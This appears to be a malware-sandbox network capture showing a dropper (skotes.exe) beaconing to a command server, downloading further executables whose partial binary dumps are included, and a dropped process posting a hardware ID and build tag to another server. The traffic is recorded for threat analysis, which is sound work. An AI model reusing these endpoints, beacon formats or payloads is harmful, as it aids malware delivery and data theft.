08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@@00@Th @.rsrc @.idata @dobhwoisPL@fassugvn0/@.taggant00"/@
Nov 12, 2024 02:13:54.823302984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:13:54.823317051 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:13:54.823345900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:13:54.823359013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6H$u
Nov 12, 2024 02:13:54.823369980 CET	424	IN	Data Raw: 08 b5 74 2d c4 5d 03 17 e4 25 08 b1 ca f9 86 75 08 fd 43 cd 8f 29 64 c9 45 29 64 c1 06 5d 88 cd 91 69 64 48 00 5e fc 16 e4 65 14 c7 8f 29 64 c1 91 29 64 e9 91 25 84 46 53 f8 85 4a 52 dd 87 cd 08 d2 43 e9 e4 d2 6f 7d ef e9 b9 dd 90 2d 8b cd 08 ad Data Ascii: t-]%uC)dE)d]idH^e)d)d%FSJRCo}-gIiyF`82N]Ip]`E)dCwE9G](G]e9$Q)d-QJEIRIhM]r]/t-]oC)d]]BED]
Nov 12, 2024 02:13:54.823416948 CET	1236	IN	Data Raw: 0b 61 88 cd 92 11 64 e5 40 5e 88 cd 08 60 c5 72 09 5e 78 cd d7 ab 04 8a 0b e8 6b e9 89 9b 8b a2 16 69 88 cd 8f 29 64 e5 0d bb 89 45 84 49 ec ca 08 5d ff 46 e4 c4 87 cd 08 e8 43 e9 04 d2 2b e9 d8 ec ac 36 e3 4e d6 c7 08 cd 43 cd 90 e9 63 4e 08 5d Data Ascii: ad@^`r^xki)dEI]FC+6NCcN]>I]i=84D)duBI\|SdRz_C];N]@I]@Id>e(MxIehvCI\|r]e]dd/
Nov 12, 2024 02:13:54.823427916 CET	1236	IN	Data Raw: e4 01 8a cd 08 88 36 c2 08 5d 03 94 12 70 d3 ca 08 5d 88 39 07 b5 89 b1 08 5e 02 cf e4 e8 43 e9 f0 e8 43 e9 b4 d2 43 e9 0c d4 7b 46 08 5d 88 cd b7 82 d3 ca 08 5d 80 dc 6b aa cd ca 08 5d 80 98 31 7b ca ea 74 69 03 9a ba 8f 04 2f e4 51 79 31 04 30 Data Ascii: 6]p]9^CCC{F]]k]1{ti/Qy10G} 3N)dG-KR_5Jo@I6QEI]Q]yw][]cO]BItBzl]BHCIxLG]I(jyIN]dZid]XZX
Nov 12, 2024 02:13:54.823440075 CET	1236	IN	Data Raw: 18 a0 a3 ed 47 77 85 ca 4a 60 ba 3f d4 cf 02 94 f2 90 02 bb 0b 2d fd 16 e4 55 00 17 e4 31 00 07 d5 31 fd c6 e4 e8 b5 4a 4b 2d 00 ff d4 32 05 b3 a3 b7 68 46 2d 10 1a f8 f5 87 02 9a 92 8d ca a2 e8 a0 8c c7 07 aa 02 93 41 06 26 27 a6 76 9d 43 18 a0 Data Ascii: GwJ`?-U11JK-2hF-A&'vCGJ`?C32+9Qj]JBJHC]Qeddd1AQertBIxBId@I@IQe`]yw`9BIpo_
Nov 12, 2024 02:13:54.823451042 CET	636	IN	Data Raw: e9 d2 2b e9 0c d2 33 e9 d4 4e d6 d6 0a d4 14 cc 8f f9 63 c1 90 5a 48 40 94 49 54 f2 18 4e 05 f1 07 5d 88 40 94 49 80 b7 49 1d 14 98 ca ea 92 c6 73 8e 02 9c 84 80 4b 8a 33 6b 79 77 d7 60 f8 06 09 e5 b5 ca 16 dd a5 e2 f0 6f 0b 89 54 d2 2b e9 0c e5 Data Ascii: +3NcZH@ITN]@IIsK3kyw`oT+t2F-V]X)EI]VvAIxBK8.GSI+jyI_-N]B ]EIKcxIe_NQ]>j-I%jy
Nov 12, 2024 02:13:54.828326941 CET	1236	IN	Data Raw: 45 6c fd c6 e4 d2 33 e9 0c 60 b8 49 48 64 02 0f e4 69 05 b3 03 4e 0a ec 09 5d 88 3e 98 61 02 9a 4a 72 85 08 8a 8a 80 40 74 49 78 39 f3 e8 73 e9 47 8a 85 fa 1a d2 13 e7 04 a6 87 d7 b8 2d 58 fd 89 9f 87 f2 19 fc 99 cb 16 e8 13 e7 04 48 b8 41 74 49 Data Ascii: El3`IHdiN]>aJr@tIx9sG-XHAtIx@I3N]-XE-XE-XQX--XE-XEp-XAX-u4>]3`CrEI\-.I@IBP2)dcQ]G;0I\|]j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49771	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:13:59.725394964 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005663001&unit=246122658369
Nov 12, 2024 02:14:00.640608072 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49772	185.215.113.16	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:00.648998976 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 02:14:01.601814985 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:01 GMT Content-Type: application/octet-stream Content-Length: 1759232 Last-Modified: Tue, 12 Nov 2024 00:57:31 GMT Connection: keep-alive ETag: "6732a7fb-1ad800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 70 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 67 00 00 04 00 00 e3 36 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"pg@g6@M$a$ $b@.rsrc $r@.idata $r@ `)$t@guahhyfc@ N:v@tjntcrwt`g@.taggant0pg"@
Nov 12, 2024 02:14:01.601843119 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:01.601852894 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:01.601867914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:01.601878881 CET	448	IN	Data Raw: 9f 85 02 75 cb 6a ad f3 93 16 9a ea 0c ed b4 ed 9e f0 9b 52 51 cb f6 93 ab ee 58 51 75 85 a6 d9 3b 65 77 f1 15 ca 49 54 d6 00 d9 a8 a4 f1 6e 79 f3 97 96 01 ac f2 f2 bb b2 e5 9c 3d 06 f5 62 c4 33 b4 fa b0 1b d8 5e 3e c7 82 91 52 2b 17 87 5a b3 dd Data Ascii: ujRQXQu;ewITny=b3^>R+Zh*s1Re<a>wdXfG4FZ,i,2C9dmap{FoS6gb,].nz$M:H_<Cc/I;oZ{I=1s4+\|SJ7
Nov 12, 2024 02:14:01.601888895 CET	1236	IN	Data Raw: 58 26 7d 72 a3 e5 cc 33 7c 77 db 7e cc 20 ef d5 ae a6 71 56 cc f4 c9 b4 6e 89 44 43 2f 4c 14 26 42 9b c5 6d 33 2b 7b 5d 74 9d 9b 0b 7f 00 a4 dd cc 1b e4 87 a5 44 cd 45 3f d5 0c 76 9d 50 6a 01 2b 31 4c e1 ab 28 4b 74 8b 6c bb 9a a9 a2 4a 87 51 ad Data Ascii: X&}r3\|w~ qVnDC/L&Bm3+{]tDE?vPj+1L(KtlJQn&#?M!cVy,cq>}s~\|7X6:[tRSql]_#N9yL`'KccrE5AC2F5n1@r-IZz-.qosZF
Nov 12, 2024 02:14:01.601898909 CET	212	IN	Data Raw: 50 18 27 d4 35 39 82 68 57 18 1c 74 7d 9c b6 43 39 66 81 e4 48 2e 9d c5 34 ad 1e 2d 17 85 9c 67 55 f6 de ee 09 c8 fa d8 d1 1f 56 e1 d8 db c7 e5 25 9b 46 52 ad 26 82 32 b4 c9 0a bc b2 ee 83 b4 27 9e 41 9a 6e 8f 65 f1 5c 9e de 06 30 da c9 c4 e3 30 Data Ascii: P'59hWt}C9fH.4-gUV%FR&2'Ane\00GQBn1}Ff'FD#1O d8%Vfd.*2mdHv)+hs36fdJez/c=i6FWeDi
Nov 12, 2024 02:14:01.601907969 CET	1236	IN	Data Raw: 96 20 25 79 5d af 9a 04 ac 35 ff eb 31 e5 aa 52 74 25 4a b4 03 bc a4 e7 a4 15 73 b6 38 34 7f 52 41 c6 ab c6 d2 08 9d 7b 5b 7b ce 87 ab e9 4a af 84 dd 0c b7 9a 51 ee 9e a2 f8 90 8f 4a 3e a5 59 73 ec 4e f5 61 f0 b5 ad a7 31 c0 e8 0f d4 41 86 43 35 Data Ascii: %y]51Rt%Js84RA{[{JQJ>YsNa1AC5.Rk%[<_~bB0hFG;t7t!Ws~\|*XB%l?V,kk`a%V&61?%)!)_GE=r)gExK2Gn2BdA
Nov 12, 2024 02:14:01.601917982 CET	1236	IN	Data Raw: ab 36 33 a5 db 25 a0 7f 6a a8 e9 f5 a1 1a 4b 84 23 a4 8c 69 6b 5e a6 4a a2 3b c7 70 63 e9 a2 63 2f ad 72 84 9b 37 9f 7a a1 65 4a 79 c6 36 48 f6 7b 2f ae a6 ab 2d 45 f2 e0 ab c4 6a 63 2f b4 a4 8b 41 97 88 f2 36 e2 b0 33 db d5 ea a3 25 41 d9 0b 32 Data Ascii: 63%jK#ik^J;pcc/r7zeJy6H{/-Ejc/A63%A2/.ur%BJ'ro={Zs>[`G1SHzB/JpUi>:6`*Fq5l<Vy-~!,oYFc/DkJi_>CT-/&h3
Nov 12, 2024 02:14:01.601933002 CET	424	IN	Data Raw: 35 de 15 d9 b1 fc 9e 92 9c dd 46 3a d4 ec de e7 8b ed dd a5 4f ae 12 db a4 63 de 7a 14 15 2e 69 27 25 23 e6 6e ce aa c1 13 be d8 12 ac 71 4a a4 1c dd f6 21 13 2f 17 5a 5f e1 41 e5 0f f4 8c 52 a3 21 a2 71 1b a9 a5 bf 75 25 d7 7d 1f 45 d9 7a 17 49 Data Ascii: 5F:Ocz.i'%#nqJ!/Z_AR!qu%}EzI!qqC-oEwxuto1dJx@+o/0~(i\|JxEoG;Jx=AwKroAkZJh%qk/\Fnx{;ru!5x.RiMG
Nov 12, 2024 02:14:01.606961966 CET	1236	IN	Data Raw: 93 ff bc e6 cc 2b f7 70 01 df d8 2e 64 55 d9 a2 2f 3b 63 dc 6e bd c5 e7 fd f7 8c 81 63 31 03 69 8a a0 89 72 5b a5 6e a5 27 23 d9 d1 6e e7 be da 43 e1 da 84 5c 43 0e f6 3b 2f ae e6 ab 65 46 f2 6e ab ee 44 86 a1 4e 78 3f a9 45 7f 6b db 26 e6 75 cd Data Ascii: +p.dU/;cnc1ir[n'#nC\C;/eFnDNx?Ek&uB]t6,GExu})-]Z>"qtO-cL/K/.m)C7Ti;H+zr&kCshpMB/V+xf#PY\}r>RjE'$\|ZRdUM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49800	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:05.612895012 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005664001&unit=246122658369
Nov 12, 2024 02:14:06.544085026 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49805	185.215.113.206	80	5232	C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:06.180057049 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 02:14:07.089090109 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:14:07.091337919 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKECAFBFHJDGDHIEHJD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 41 38 30 38 35 33 45 42 45 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 43 41 46 42 46 48 4a 44 47 44 48 49 45 48 4a 44 2d 2d 0d 0a Data Ascii: ------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="hwid"3A80853EBE592398989009------AKKECAFBFHJDGDHIEHJDContent-Disposition: form-data; name="build"mars------AKKECAFBFHJDGDHIEHJD--
Nov 12, 2024 02:14:07.376600981 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49807	185.215.113.16	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:06.743009090 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 12 Nov 2024 00:57:31 GMT If-None-Match: "6732a7fb-1ad800"
Nov 12, 2024 02:14:07.673810959 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:07 GMT Last-Modified: Tue, 12 Nov 2024 00:57:31 GMT Connection: keep-alive ETag: "6732a7fb-1ad800"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49823	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:09.678251028 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 36 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005665031&unit=246122658369
Nov 12, 2024 02:14:10.612941980 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49829	185.215.113.16	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:10.621747017 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 02:14:11.969654083 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:11 GMT Content-Type: application/octet-stream Content-Length: 2802176 Last-Modified: Tue, 12 Nov 2024 00:56:34 GMT Connection: keep-alive ETag: "6732a7c2-2ac200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 0d fa 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +`Ui` @ @.rsrc`2@.idata 8@rlapexyob:@nlagfbmd +@.taggant@@+"*@
Nov 12, 2024 02:14:11.969670057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:11.969722033 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:11.969733000 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:11.969769001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:11.969784975 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:11.969805956 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:11.969818115 CET	648	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:14:11.969830036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 0dlHt,hw=#pq<> p"/(yK{%+x}
Nov 12, 2024 02:14:11.969841003 CET	212	IN	Data Raw: a6 b1 1a 69 25 74 4c 98 a4 85 2e 0c a6 af 8a de aa 13 19 24 e4 b1 20 75 6a 3e 63 6e ac c8 a9 9f f3 68 28 b1 ab 94 1c 06 68 86 9c b4 28 de f0 aa 61 74 86 2d d5 74 9c d7 aa 1f 19 ae 7c fd 35 8a a5 77 68 c7 5e e3 1d b7 5c 8b 91 c8 a0 e5 37 d6 be 76 Data Ascii: i%tL.$ uj>cnh(h(at-t\|5wh^\7vV9@&Xk}~7pQi+s{~%*4+h2dow%`9>f2^E:<@G(Tu
Nov 12, 2024 02:14:11.974718094 CET	1236	IN	Data Raw: a9 97 95 f8 76 a5 25 b3 24 db 2d b3 00 98 e7 b3 a6 11 46 ac 2c a8 dc e7 00 b8 46 f7 b5 c8 20 07 26 84 d5 0f ef 7b 85 4a a3 e8 46 27 41 bd ad fc a6 7b dd b2 31 f8 1a d0 45 db 83 7f 55 fb 3d b3 c7 a7 1f d2 d4 50 53 dc d4 a1 4c 57 a5 93 1e e7 23 03 Data Ascii: v%$-F,F &{JF'A{1EU=PSLW#XF rq`J_@/\|\|\|N>oBwH4\|9p>k\|,9Z?\|8f\|<Og6W2"T],lRpWrf\|x8#" B%pD0697A(l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49864	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:16.756053925 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 36 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005666001&unit=246122658369
Nov 12, 2024 02:14:17.697479010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49879	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:14:19.336085081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:14:20.257381916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:14:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49886	185.215.113.206	80	7320	C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe

Timestamp	Bytes transferred	Direction	Data
